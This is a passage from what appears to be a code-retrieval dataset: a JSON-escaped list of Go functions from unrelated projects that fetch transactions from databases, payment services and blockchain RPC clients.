GetTx(ctx context.Context) (*firestore.Transaction, bool) {\\n\\ttx, ok := ctx.Value(txKey).(*firestore.Transaction)\\n\\treturn tx, ok\\n}\",\n \"func (s *TransactionService) Get(walletID, txnID string) (*Transaction, error) {\\n\\tu := fmt.Sprintf(\\\"/kms/wallets/%s/transactions/%s\\\", walletID, txnID)\\n\\ttxn := &Transaction{}\\n\\tp := &Params{}\\n\\tp.SetAuthProvider(s.auth)\\n\\terr := s.client.Call(http.MethodGet, u, nil, txn, p)\\n\\treturn txn, err\\n}\",\n \"func (tx *tX) Transaction() (*tX, error) {\\n\\treturn tx, nil\\n}\",\n \"func GetTransaction(retKey string) (models.TransactionCache, error) {\\n\\n\\tdata, err := redisClient.Get(ctx, retKey).Bytes()\\n\\tif err != nil {\\n\\t\\tlog.Println(err.Error())\\n\\t\\treturn models.TransactionCache{}, err\\n\\t}\\n\\n\\tvar transaction models.TransactionCache\\n\\n\\terr = json.Unmarshal(data, &transaction)\\n\\tif err != nil {\\n\\t\\tlog.Println(err.Error())\\n\\t\\treturn models.TransactionCache{}, err\\n\\t}\\n\\n\\treturn transaction, nil\\n}\",\n \"func (api *API) Get(tid string) (*pagarme.Response, *pagarme.Transaction, error) {\\n\\tresp, err := api.Config.Do(http.MethodGet, \\\"/transactions/\\\"+tid, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\tif werr := www.ExtractError(resp); werr != nil {\\n\\t\\treturn werr, nil, nil\\n\\t}\\n\\tresult := &pagarme.Transaction{}\\n\\tif err := www.Unmarshal(resp, result); err != nil {\\n\\t\\tapi.Config.Logger.Error(\\\"could not unmarshal transaction [Get]: \\\" + err.Error())\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\n\\treturn www.Ok(), result, nil\\n}\",\n \"func GetTransaction(txBytes []byte) (*peer.Transaction, error) {\\n\\ttx := &peer.Transaction{}\\n\\terr := proto.Unmarshal(txBytes, tx)\\n\\treturn tx, errors.Wrap(err, \\\"error unmarshaling Transaction\\\")\\n}\",\n \"func GetTX(c echo.Context) newrelic.Transaction {\\n\\ttx := c.Get(\\\"txn\\\")\\n\\tif tx == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn tx.(newrelic.Transaction)\\n}\",\n \"func GetTX(c echo.Context) newrelic.Transaction {\\n\\ttx := c.Get(\\\"txn\\\")\\n\\tif tx == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn tx.(newrelic.Transaction)\\n}\",\n \"func GetTX(c echo.Context) newrelic.Transaction {\\n\\ttx := c.Get(\\\"txn\\\")\\n\\tif tx == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn tx.(newrelic.Transaction)\\n}\",\n \"func GetTransaction(txBytes []byte) (*peer.Transaction, error) {\\n\\ttx := &peer.Transaction{}\\n\\terr := proto.Unmarshal(txBytes, tx)\\n\\treturn tx, err\\n}\",\n \"func (sc *ServerConn) GetTransaction(ctx context.Context, txid string) (*GetTransactionResult, error) {\\n\\tvar resp GetTransactionResult\\n\\terr := sc.Request(ctx, \\\"blockchain.transaction.get\\\", positional{txid, true}, &resp)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn &resp, nil\\n}\",\n \"func GetTransaction(hostURL string, hostPort int, hash string) *bytes.Buffer {\\n\\tparams := make(map[string]interface{})\\n\\tparams[\\\"hash\\\"] = hash\\n\\treturn makePostRequest(hostURL, hostPort, \\\"f_transaction_json\\\", params)\\n}\",\n \"func (b *Bitcoind) GetTransaction(txid string) (transaction Transaction, err error) {\\n\\tr, err := b.client.call(\\\"gettransaction\\\", []interface{}{txid})\\n\\tif err = handleError(err, &r); err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\terr = json.Unmarshal(r.Result, &transaction)\\n\\treturn\\n}\",\n \"func (mp *TxPool) GetTransaction(hash Uint256) *Transaction {\\n\\tmp.RLock()\\n\\tdefer mp.RUnlock()\\n\\treturn mp.txnList[hash]\\n}\",\n \"func (u *User) GetTransaction(nodeID, transactionID string) (map[string]interface{}, error) {\\n\\tlog.info(\\\"========== GET TRANSACTION ==========\\\")\\n\\turl := buildURL(path[\\\"users\\\"], u.UserID, path[\\\"nodes\\\"], nodeID, path[\\\"transactions\\\"], transactionID)\\n\\n\\treturn u.do(\\\"GET\\\", url, \\\"\\\", nil)\\n}\",\n \"func (b Block) GetTransaction(txHash cipher.SHA256) (Transaction, bool) {\\n\\ttxns := b.Body.Transactions\\n\\tfor i := range txns {\\n\\t\\tif txns[i].Hash() == txHash {\\n\\t\\t\\treturn txns[i], true\\n\\t\\t}\\n\\t}\\n\\treturn Transaction{}, false\\n}\",\n \"func (m *TransactionMessage) GetTransaction() (*types.Tx, error) {\\n\\ttx := &types.Tx{}\\n\\tif err := tx.UnmarshalText(m.RawTx); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn tx, nil\\n}\",\n \"func (c *TransactionClient) Get(ctx context.Context, id int32) (*Transaction, error) {\\n\\treturn c.Query().Where(transaction.ID(id)).Only(ctx)\\n}\",\n \"func (db *DB) GetTx() *GetTx {\\n\\treturn &GetTx{\\n\\t\\tdb: db,\\n\\t}\\n}\",\n \"func (c *Client) GetTransaction(ctx context.Context, txhash string) (GetTransactionResponse, error) {\\n\\tres, err := c.RpcClient.GetTransactionWithConfig(\\n\\t\\tctx,\\n\\t\\ttxhash,\\n\\t\\trpc.GetTransactionConfig{\\n\\t\\t\\tEncoding: rpc.GetTransactionConfigEncodingBase64,\\n\\t\\t},\\n\\t)\\n\\terr = checkRpcResult(res.GeneralResponse, err)\\n\\tif err != nil {\\n\\t\\treturn GetTransactionResponse{}, err\\n\\t}\\n\\treturn getTransaction(res)\\n}\",\n \"func (s *Session) Transaction() *Transaction {\\n\\t// acquire lock\\n\\ts.mutex.Lock()\\n\\tdefer s.mutex.Unlock()\\n\\n\\treturn s.txn\\n}\",\n \"func GetTx() *TX {\\n\\ttx := &TX{\\n\\t\\tDB: DB.Begin(),\\n\\t\\tfired: false,\\n\\t}\\n\\treturn tx\\n}\",\n \"func (c *Context) GetTx() interface{} {\\n\\treturn c.tx\\n}\",\n \"func (s *TXPoolServer) getTransaction(hash common.Uint256) *tx.Transaction {\\n\\treturn s.txPool.GetTransaction(hash)\\n}\",\n \"func (s *transactionStore) Get(ctx context.Context, id configapi.TransactionID) (*configapi.Transaction, error) {\\n\\t// If the transaction is not already in the cache, get it from the underlying primitive.\\n\\tentry, err := s.transactions.Get(ctx, id)\\n\\tif err != nil {\\n\\t\\treturn nil, errors.FromAtomix(err)\\n\\t}\\n\\ttransaction := entry.Value\\n\\ttransaction.Index = configapi.Index(entry.Index)\\n\\ttransaction.Version = uint64(entry.Version)\\n\\treturn transaction, nil\\n}\",\n \"func (tp *TXPool) GetTransaction(hash common.Uint256) *types.Transaction {\\n\\ttp.RLock()\\n\\tdefer tp.RUnlock()\\n\\tif tx := tp.txList[hash]; tx == nil {\\n\\t\\treturn nil\\n\\t}\\n\\treturn tp.txList[hash].Tx\\n}\",\n \"func (f *FactoidTransaction) Get(ctx context.Context, c *Client) error {\\n\\t// TODO: Test this functionality\\n\\t// If the TransactionID is nil then we have nothing to query for.\\n\\tif f.TransactionID == nil {\\n\\t\\treturn fmt.Errorf(\\\"txid is nil\\\")\\n\\t}\\n\\t// If the Transaction is already populated then there is nothing to do. If\\n\\t// the Hash is nil, we cannot populate it anyway.\\n\\tif f.IsPopulated() {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tparams := struct {\\n\\t\\tHash *Bytes32 `json:\\\"hash\\\"`\\n\\t}{Hash: f.TransactionID}\\n\\tvar result struct {\\n\\t\\tData Bytes `json:\\\"data\\\"`\\n\\t}\\n\\tif err := c.FactomdRequest(ctx, \\\"raw-data\\\", params, &result); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := f.UnmarshalBinary(result.Data); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func RetrieveTransaction(ctx context.Context, db *mongo.Collection, _id string) (*Transaction, error) {\\n\\n\\tvar transaction Transaction\\n\\n\\tid, err := primitive.ObjectIDFromHex(_id)\\n\\tif err != nil {\\n\\t\\treturn nil, apierror.ErrInvalidID\\n\\t}\\n\\n\\tif err := db.FindOne(ctx, bson.M{\\\"_id\\\": id}).Decode(&transaction); err != nil {\\n\\t\\treturn nil, apierror.ErrNotFound\\n\\t}\\n\\n\\t// fmt.Println(\\\"&transaction.FinancialAccountID\\\", &transaction.FinancialAccountID)\\n\\t// fmt.Printf(\\\"***************\\\\n&transaction.FinancialAccountID Type : %T\\\\n\\\", &transaction.FinancialAccountID)\\n\\n\\treturn &transaction, nil\\n}\",\n \"func (tangle *Tangle) Transaction(transactionID transaction.ID) *transaction.CachedTransaction {\\n\\treturn &transaction.CachedTransaction{CachedObject: tangle.transactionStorage.Load(transactionID.Bytes())}\\n}\",\n \"func GetTransactionRef(userID, stockID uint32, ttype TransactionType, reservedStockQuantity int64, stockQuantity int64, price uint64, reservedCashTotal int64, total int64) *Transaction {\\n\\treturn &Transaction{\\n\\t\\tUserId: userID,\\n\\t\\tStockId: stockID,\\n\\t\\tType: ttype,\\n\\t\\tReservedStockQuantity: reservedStockQuantity,\\n\\t\\tStockQuantity: stockQuantity,\\n\\t\\tPrice: price,\\n\\t\\tReservedCashTotal: reservedCashTotal,\\n\\t\\tTotal: total,\\n\\t\\tCreatedAt: utils.GetCurrentTimeISO8601(),\\n\\t}\\n}\",\n \"func (c *Client) RetrieveTransaction(\\n\\tctx context.Context,\\n\\tid string,\\n\\tmint *string,\\n) (*TransactionResource, error) {\\n\\tif mint == nil {\\n\\t\\towner, _, err := NormalizedOwnerAndTokenFromID(ctx, id)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, errors.Trace(err)\\n\\t\\t}\\n\\t\\t_, host, err := UsernameAndMintHostFromAddress(ctx, owner)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, errors.Trace(err)\\n\\t\\t}\\n\\t\\tmint = &host\\n\\t}\\n\\n\\treq, err := http.NewRequest(\\\"GET\\\",\\n\\t\\tFullMintURL(ctx,\\n\\t\\t\\t*mint, fmt.Sprintf(\\\"/transactions/%s\\\", id), url.Values{}).String(), nil)\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Trace(err)\\n\\t}\\n\\treq.Header.Add(\\\"Mint-Protocol-Version\\\", ProtocolVersion)\\n\\tr, err := c.httpClient.Do(req)\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Trace(err)\\n\\t}\\n\\tdefer r.Body.Close()\\n\\n\\tvar raw svc.Resp\\n\\tif err := json.NewDecoder(r.Body).Decode(&raw); err != nil {\\n\\t\\treturn nil, errors.Trace(err)\\n\\t}\\n\\n\\tif r.StatusCode != http.StatusOK && r.StatusCode != http.StatusCreated {\\n\\t\\tvar e errors.ConcreteUserError\\n\\t\\terr = raw.Extract(\\\"error\\\", &e)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, errors.Trace(err)\\n\\t\\t}\\n\\t\\treturn nil, errors.Trace(ErrMintClient{\\n\\t\\t\\tr.StatusCode, e.ErrCode, e.ErrMessage,\\n\\t\\t})\\n\\t}\\n\\n\\tvar transaction TransactionResource\\n\\tif err := raw.Extract(\\\"transaction\\\", &transaction); err != nil {\\n\\t\\treturn nil, errors.Trace(err)\\n\\t}\\n\\n\\treturn &transaction, nil\\n}\",\n \"func (transService *TransactionService) GetTransactionByRef(ref string) (*Transaction, error) {\\n\\ttrans, err := transService.Repo.GetTransactionByRef(ref)\\n\\t\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn trans, nil\\n}\",\n \"func (s *Service) GetExplorerTransaction(w http.ResponseWriter, r *http.Request) {\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\tid := r.FormValue(\\\"id\\\")\\n\\n\\tdata := &Data{}\\n\\tdefer func() {\\n\\t\\tif err := json.NewEncoder(w).Encode(data.TX); err != nil {\\n\\t\\t\\tutils.Logger().Warn().Err(err).Msg(\\\"cannot JSON-encode TX\\\")\\n\\t\\t}\\n\\t}()\\n\\tif id == \\\"\\\" {\\n\\t\\tutils.Logger().Warn().Msg(\\\"invalid id parameter\\\")\\n\\t\\tw.WriteHeader(http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\tdb := s.Storage.GetDB()\\n\\tbytes, err := db.Get([]byte(GetTXKey(id)))\\n\\tif err != nil {\\n\\t\\tutils.Logger().Warn().Err(err).Str(\\\"id\\\", id).Msg(\\\"cannot read TX\\\")\\n\\t\\tw.WriteHeader(http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\ttx := new(Transaction)\\n\\tif rlp.DecodeBytes(bytes, tx) != nil {\\n\\t\\tutils.Logger().Warn().Str(\\\"id\\\", id).Msg(\\\"cannot convert data from DB\\\")\\n\\t\\tw.WriteHeader(http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\tdata.TX = *tx\\n}\",\n \"func (r Virtual_Guest) GetActiveTransaction() (resp datatypes.Provisioning_Version1_Transaction, err error) {\\n\\terr = r.Session.DoRequest(\\\"SoftLayer_Virtual_Guest\\\", \\\"getActiveTransaction\\\", nil, &r.Options, &resp)\\n\\treturn\\n}\",\n \"func (gtx *GuardTx) GetTx() *sql.Tx {\\n\\treturn gtx.dbTx\\n}\",\n \"func (c *Contract) GetUnknownTransaction() interface{} {\\n\\treturn c.UnknownTransaction\\n}\",\n \"func GetTransactionById(pId int) *DOMAIN.Transaction {\\n\\t// Project structure\\n\\ttransaction := DOMAIN.Transaction{}\\n\\t// Add in Transaction variable, the project where ID is the same that the param\\n\\tres := getTransactionCollection().Find(db.Cond{\\\"TransactionID\\\": pId})\\n\\n\\t//project.ProjectType = GetTypesByProjectId(pId)\\n\\n\\t// Close session when ends the method\\n\\tdefer session.Close()\\n\\terr := res.One(&transaction)\\n\\tif err != nil {\\n\\t\\tlog.Error(err)\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn &transaction\\n}\",\n \"func (c Client) findTransaction(transactionID string) (*Transaction, error) {\\n\\tpath := fmt.Sprintf(\\\"/transactions/%s\\\", transactionID)\\n\\treq, err := http.NewRequest(\\\"GET\\\", c.getURL(path), nil)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tvar marshalled map[string]*Transaction\\n\\treturn marshalled[\\\"transaction\\\"], c.executeRequestAndMarshal(req, &marshalled)\\n}\",\n \"func (pt *PackedTransaction) GetSignTransaction() SignedTransaction {\\n\\terrHandle := func() {\\n\\t\\tpanic(\\\"[PackedTransaction] GetSignTransaction failed\\\")\\n\\t}\\n\\n\\thelper.CatchException(nil, errHandle)\\n\\n\\tvar result SignedTransaction\\n\\tresult.Signatures = pt.signatures\\n\\tif pt.unPackedTrx != nil {\\n\\t\\tresult.Transaction = *pt.unPackedTrx\\n\\t}\\n\\n\\tswitch pt.Compression {\\n\\tcase None:\\n\\t\\tresult.ContextFreeData = pt.PackedContextFreeData\\n\\tcase Zlib:\\n\\t\\tresult.ContextFreeData = zlibUnCompressionContextFreeData(pt.PackedContextFreeData)\\n\\tdefault:\\n\\t\\tpanic(\\\"Unknown transaction compression algorithm\\\")\\n\\t}\\n\\treturn result\\n}\",\n \"func (c *BalanceClient) RetrieveTransaction(id string) (*BalanceTransaction, error) {\\n\\tbalanceTransaction := BalanceTransaction{}\\n\\terr := c.client.get(\\\"/balance/history/\\\"+id, nil, &balanceTransaction)\\n\\treturn &balanceTransaction, err\\n}\",\n \"func (api *API) getTransactionByShortID(shortID string) (types.Transaction, error) {\\n\\tvar txShortID types.TransactionShortID\\n\\t_, err := fmt.Sscan(shortID, &txShortID)\\n\\tif err != nil {\\n\\t\\treturn types.Transaction{}, err\\n\\t}\\n\\n\\ttxn, found := api.cs.TransactionAtShortID(txShortID)\\n\\tif !found {\\n\\t\\terr = errNotFound\\n\\t}\\n\\treturn txn, err\\n}\",\n \"func GetBytesTransaction(tx *peer.Transaction) ([]byte, error) {\\n\\tbytes, err := proto.Marshal(tx)\\n\\treturn bytes, err\\n}\",\n \"func GetTx(txhash string) (*model.Tx, error) {\\n\\turl := fmt.Sprintf(bchapi.TxUrl, txhash)\\n\\tresult, err := bchapi.HttpGet(url, bchapi.ConnTimeoutMS, bchapi.ServeTimeoutMS)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\ttx, err := model.StringToTx(result)\\n\\treturn tx, err\\n}\",\n \"func GetTransferringTx(db *gorp.DbMap) (records []*TxRecord, err error) {\\n\\t_, err = db.Select(&records, `SELECT * FROM \\\"record\\\" WHERE \\\"state\\\" = ?`, ExchangeStateTransferring)\\n\\treturn\\n}\",\n \"func (s *Store) GetTx(txid common.Hash) *types.Transaction {\\n\\ttx, _ := s.rlp.Get(s.table.Txs, txid.Bytes(), &types.Transaction{}).(*types.Transaction)\\n\\n\\treturn tx\\n}\",\n \"func (b Blockstream) GetTransaction(txHash string) (*wire.MsgTx, error) {\\n\\turl := fmt.Sprintf(\\\"%s/tx/%s\\\", baseURL, txHash)\\n\\tresp, err := http.Get(url)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tdefer resp.Body.Close()\\n\\tif resp.StatusCode != http.StatusOK {\\n\\t\\tb, err := ioutil.ReadAll(resp.Body)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to get a transaction: %s\\\", b)\\n\\t}\\n\\n\\tvar tx transaction\\n\\tif err := json.NewDecoder(resp.Body).Decode(&tx); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tmsgTx := wire.NewMsgTx(tx.Version)\\n\\tmsgTx.LockTime = uint32(tx.Locktime)\\n\\n\\tfor _, vin := range tx.Vin {\\n\\t\\tvoutHash, err := chainhash.NewHashFromStr(vin.Txid)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\tsigScript, err := hex.DecodeString(vin.Scriptsig)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\tvar witness [][]byte\\n\\t\\tfor _, w := range vin.Witness {\\n\\t\\t\\tws, err := hex.DecodeString(w)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn nil, err\\n\\t\\t\\t}\\n\\n\\t\\t\\twitness = append(witness, ws)\\n\\t\\t}\\n\\n\\t\\tnewInput := wire.NewTxIn(\\n\\t\\t\\twire.NewOutPoint(voutHash, vin.Vout),\\n\\t\\t\\tsigScript,\\n\\t\\t\\twitness,\\n\\t\\t)\\n\\t\\tnewInput.Sequence = uint32(vin.Sequence)\\n\\n\\t\\tmsgTx.AddTxIn(newInput)\\n\\t}\\n\\n\\tfor _, vout := range tx.Vout {\\n\\t\\tpkScript, err := hex.DecodeString(vout.Scriptpubkey)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\tmsgTx.AddTxOut(\\n\\t\\t\\twire.NewTxOut(\\n\\t\\t\\t\\tvout.Value,\\n\\t\\t\\t\\tpkScript,\\n\\t\\t\\t),\\n\\t\\t)\\n\\t}\\n\\n\\tif msgTx.TxHash().String() != tx.Txid {\\n\\t\\treturn nil, fmt.Errorf(\\\"transaction hash doesn't match\\\")\\n\\t}\\n\\n\\treturn msgTx, nil\\n}\",\n \"func (c *changeTrackerDB) ReadTxn() *txn {\\n\\treturn &txn{Txn: c.memdb.Txn(false)}\\n}\",\n \"func (rpc BitcoinRPC) GetRawTransaction(h string) ([]byte, error) {\\n\\tvar (\\n\\t\\ttx []byte\\n\\t\\terr error\\n\\t)\\n\\n\\terr = rpc.client.Call(\\\"getrawtransaction\\\", []interface{}{h, 1}, &tx)\\n\\treturn tx, err\\n}\",\n \"func (r Virtual_Guest_Block_Device_Template_Group) GetTransaction() (resp datatypes.Provisioning_Version1_Transaction, err error) {\\n\\terr = r.Session.DoRequest(\\\"SoftLayer_Virtual_Guest_Block_Device_Template_Group\\\", \\\"getTransaction\\\", nil, &r.Options, &resp)\\n\\treturn\\n}\",\n \"func (a API) GetRawTransaction(cmd *btcjson.GetRawTransactionCmd) (e error) {\\n\\tRPCHandlers[\\\"getrawtransaction\\\"].Call <-API{a.Ch, cmd, nil}\\n\\treturn\\n}\",\n \"func (s *InventoryApiService) GetInventoryTransaction(id string, w http.ResponseWriter) error {\\n\\tctx := context.Background()\\n\\ttxn, err := s.db.GetInventoryTransaction(ctx, id)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn EncodeJSONResponse(txn, nil, w)\\n}\",\n \"func GetTrans(userName, token *string) (*[]request.TransSchema, error) {\\n\\tresp, err := request.GetCloudor(userName, token, \\\"/transaction/user/\\\"+*userName)\\n\\tif err != nil {\\n\\t\\tfmt.Printf(\\\"getting transactions failed for user %s: %v\\\", *userName, err)\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\ttransactions := []request.TransSchema{}\\n\\terr = json.Unmarshal(resp, &transactions)\\n\\tif err != nil {\\n\\t\\tfmt.Printf(\\\"Internal error, cann't parse transaction response: %v\\\", err)\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn &transactions, nil\\n}\",\n \"func (t *PendingTransaction) Get(input *PendingTransactionInput) (*PendingTransactions, error) {\\n\\tresp, err := t.c.Request(http.MethodGet, fmt.Sprintf(\\\"/pending_transactions/%s\\\", input.ID), new(bytes.Buffer), nil)\\n\\tif err != nil {\\n\\t\\treturn &PendingTransactions{}, err\\n\\t}\\n\\tdefer resp.Body.Close()\\n\\n\\tvar pendingTransactions *PendingTransactions\\n\\terr = json.NewDecoder(resp.Body).Decode(&pendingTransactions)\\n\\tif err != nil {\\n\\t\\treturn &PendingTransactions{}, err\\n\\t}\\n\\treturn pendingTransactions, nil\\n}\",\n \"func (b *Bitcoind) GetRawTransaction(txId string, verbose bool) (rawTx interface{}, err error) {\\n\\tr, err := b.client.call(\\\"getrawtransaction\\\", []interface{}{txId, verbose})\\n\\tif err = handleError(err, &r); err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\tif !verbose {\\n\\t\\terr = json.Unmarshal(r.Result, &rawTx)\\n\\t} else {\\n\\t\\tvar t RawTransaction\\n\\t\\terr = json.Unmarshal(r.Result, &t)\\n\\t\\trawTx = t\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (pgb *ChainDBRPC) GetRawTransaction(txid string) (*dcrjson.TxRawResult, error) {\\n\\ttxraw, err := rpcutils.GetTransactionVerboseByID(pgb.Client, txid)\\n\\tif err != nil {\\n\\t\\tlog.Errorf(\\\"GetRawTransactionVerbose failed for: %s\\\", txid)\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn txraw, nil\\n}\",\n \"func (m *SimulateRequest) GetTx() *Tx {\\n\\tif m != nil {\\n\\t\\treturn m.Tx\\n\\t}\\n\\treturn nil\\n}\",\n \"func (g *Graph) FindTransaction(id TransactionID) *Transaction {\\n\\tg.RLock()\\n\\ttx := g.transactions[id]\\n\\tg.RUnlock()\\n\\n\\treturn tx\\n}\",\n \"func (r *InMemorySourceReader) Transaction() *Transaction {\\n\\treturn NewTransaction(r)\\n}\",\n \"func (l *LedgerState) ReturnTransaction(transactionID ledgerstate.TransactionID) (transaction *ledgerstate.Transaction) {\\n\\treturn l.UTXODAG.Transaction(transactionID)\\n}\",\n \"func (r Virtual_Guest) GetLastTransaction() (resp datatypes.Provisioning_Version1_Transaction, err error) {\\n\\terr = r.Session.DoRequest(\\\"SoftLayer_Virtual_Guest\\\", \\\"getLastTransaction\\\", nil, &r.Options, &resp)\\n\\treturn\\n}\",\n \"func (t *TxAPI) Get(hash string) (*api.ResultTx, error) {\\n\\tresp, statusCode, err := t.c.call(\\\"tx_get\\\", hash)\\n\\tif err != nil {\\n\\t\\treturn nil, makeReqErrFromCallErr(statusCode, err)\\n\\t}\\n\\n\\tvar r api.ResultTx\\n\\tif err = util.DecodeMap(resp, &r); err != nil {\\n\\t\\treturn nil, errors.ReqErr(500, ErrCodeDecodeFailed, \\\"\\\", err.Error())\\n\\t}\\n\\n\\treturn &r, nil\\n}\",\n \"func (c Client) FindTransaction(transactionID string) (*Transaction, error) {\\n\\treturn c.findTransaction(transactionID)\\n}\",\n \"func (a *transactionUsecase) GetByID(c context.Context, id int64) (*models.Transaction, error) {\\n\\n\\tctx, cancel := context.WithTimeout(c, a.contextTimeout)\\n\\tdefer cancel()\\n\\n\\tres, err := a.transactionRepo.GetByID(ctx, id)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn res, nil\\n}\",\n \"func (r *Repository) TxGet(tx *dbr.Tx, userID int64) (*pb.User, error) {\\n\\treturn r.get(tx, userID)\\n}\",\n \"func (o *Transaction) GetTransactionId() string {\\n\\tif o == nil {\\n\\t\\tvar ret string\\n\\t\\treturn ret\\n\\t}\\n\\n\\treturn o.TransactionId\\n}\",\n \"func (r *BTCRPC) GetTransactionDetail(txhash string) ([]byte, error) {\\n\\tvar (\\n\\t\\ttx []byte\\n\\t\\terr error\\n\\t)\\n\\n\\terr = r.Client.Call(\\\"getrawtransaction\\\", jsonrpc.Params{txhash, 1}, &tx)\\n\\treturn tx, err\\n}\",\n \"func (l *LedgerState) Transaction(transactionID ledgerstate.TransactionID) *ledgerstate.CachedTransaction {\\n\\treturn l.UTXODAG.CachedTransaction(transactionID)\\n}\",\n \"func (transaction *ScheduleSignTransaction) GetTransactionID() TransactionID {\\n\\treturn transaction.Transaction.GetTransactionID()\\n}\",\n \"func (t *txLookup) Get(hash common.Hash) *types.Transaction {\\n\\tt.lock.RLock()\\n\\tdefer t.lock.RUnlock()\\n\\n\\treturn t.all[hash]\\n}\",\n \"func (k Keeper) GetExtTransaction(ctx sdk.Context, id uint64) types.ExtTransaction {\\n\\tstore := prefix.NewStore(ctx.KVStore(k.storeKey), types.KeyPrefix(types.ExtTransactionKey))\\n\\tvar extTransaction types.ExtTransaction\\n\\tk.cdc.MustUnmarshalBinaryBare(store.Get(GetExtTransactionIDBytes(id)), &extTransaction)\\n\\treturn extTransaction\\n}\",\n \"func getTx(txn *badger.Txn) func([]byte) ([]byte, error) {\\n\\treturn func(key []byte) ([]byte, error) {\\n\\t\\t// Badger returns an \\\"item\\\" upon GETs, we need to copy the actual value\\n\\t\\t// from the item and return it.\\n\\t\\titem, err := txn.Get(key)\\n\\t\\tif err != nil {\\n\\t\\t\\tif errors.Is(err, badger.ErrKeyNotFound) {\\n\\t\\t\\t\\treturn nil, storage.ErrNotFound\\n\\t\\t\\t}\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\tval := make([]byte, item.ValueSize())\\n\\t\\treturn item.ValueCopy(val)\\n\\t}\\n}\",\n \"func (client *clientImpl) GetTransactionByHash(tx string) (val *Transaction, err error) {\\n\\n\\terr = client.Call2(\\\"eth_getTransactionByHash\\\", &val, tx)\\n\\n\\treturn\\n}\",\n \"func (pool *TxPool) Get(hash common.Hash) *types.Transaction {\\n\\treturn pool.all.Get(hash)\\n}\",\n \"func (transaction *TokenUpdateTransaction) GetTransactionID() TransactionID {\\n\\treturn transaction.Transaction.GetTransactionID()\\n}\",\n \"func (transaction *AccountCreateTransaction) GetTransactionID() TransactionID {\\n\\treturn transaction.Transaction.GetTransactionID()\\n}\",\n \"func (base *BaseSMTransaction) GetSMTransaction() (currentStateName string, stateEvents fsm.Events, stateCallbacks fsm.Callbacks, err error) {\\n\\n\\t// check if state exists or not\\n\\tif _, err = base.getDetailStatus(base.CurrentStatus); err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\t// get all po c status\\n\\tPoCStatus, _ := base.GetTransactionStatus()\\n\\n\\t// assign current state name\\n\\tcurrentStateName = PoCStatus[base.CurrentStatus].Name // current state\\n\\n\\t// assign event transitions\\n\\tstateEvents = fsm.Events{\\n\\t\\t// normal transitions\\n\\t\\t{\\n\\t\\t\\tName: constant.TransactionConfirmed, // transitions name\\n\\t\\t\\tSrc: []string{PoCStatus[constant.TransactionNew].Name}, // source state name\\n\\t\\t\\tDst: PoCStatus[constant.TransactionOnProgress].Name, // destination state name\\n\\t\\t},\\n\\t\\t{\\n\\t\\t\\tName: constant.TransactionFinished,\\n\\t\\t\\tSrc: []string{PoCStatus[constant.TransactionOnProgress].Name},\\n\\t\\t\\tDst: PoCStatus[constant.TransactionDone].Name,\\n\\t\\t},\\n\\t\\t{\\n\\t\\t\\tName: constant.TransactionCompleted,\\n\\t\\t\\tSrc: []string{PoCStatus[constant.TransactionDone].Name},\\n\\t\\t\\tDst: PoCStatus[constant.TransactionComplete].Name,\\n\\t\\t},\\n\\t}\\n\\n\\t// assign callback\\n\\t// this example you can change state to on progress,\\n\\t// but it will always can't change state to delivered\\n\\tstateCallbacks = fsm.Callbacks{\\n\\t\\t\\\"before_\\\" + constant.TransactionConfirmed: func(e *fsm.Event) {\\n\\t\\t\\tstate, err := base.TransactionConfirmed(e)\\n\\t\\t\\tif !state || err != nil {\\n\\t\\t\\t\\te.Cancel()\\n\\t\\t\\t}\\n\\t\\t},\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (s *RpcClient) GetConfirmedTransaction(ctx context.Context, txhash string) (GetConfirmedTransactionResponse, error) {\\n\\tres := struct {\\n\\t\\tGeneralResponse\\n\\t\\tResult GetConfirmedTransactionResponse `json:\\\"result\\\"`\\n\\t}{}\\n\\terr := s.request(ctx, \\\"getConfirmedTransaction\\\", []interface{}{txhash, \\\"json\\\"}, &res)\\n\\tif err != nil 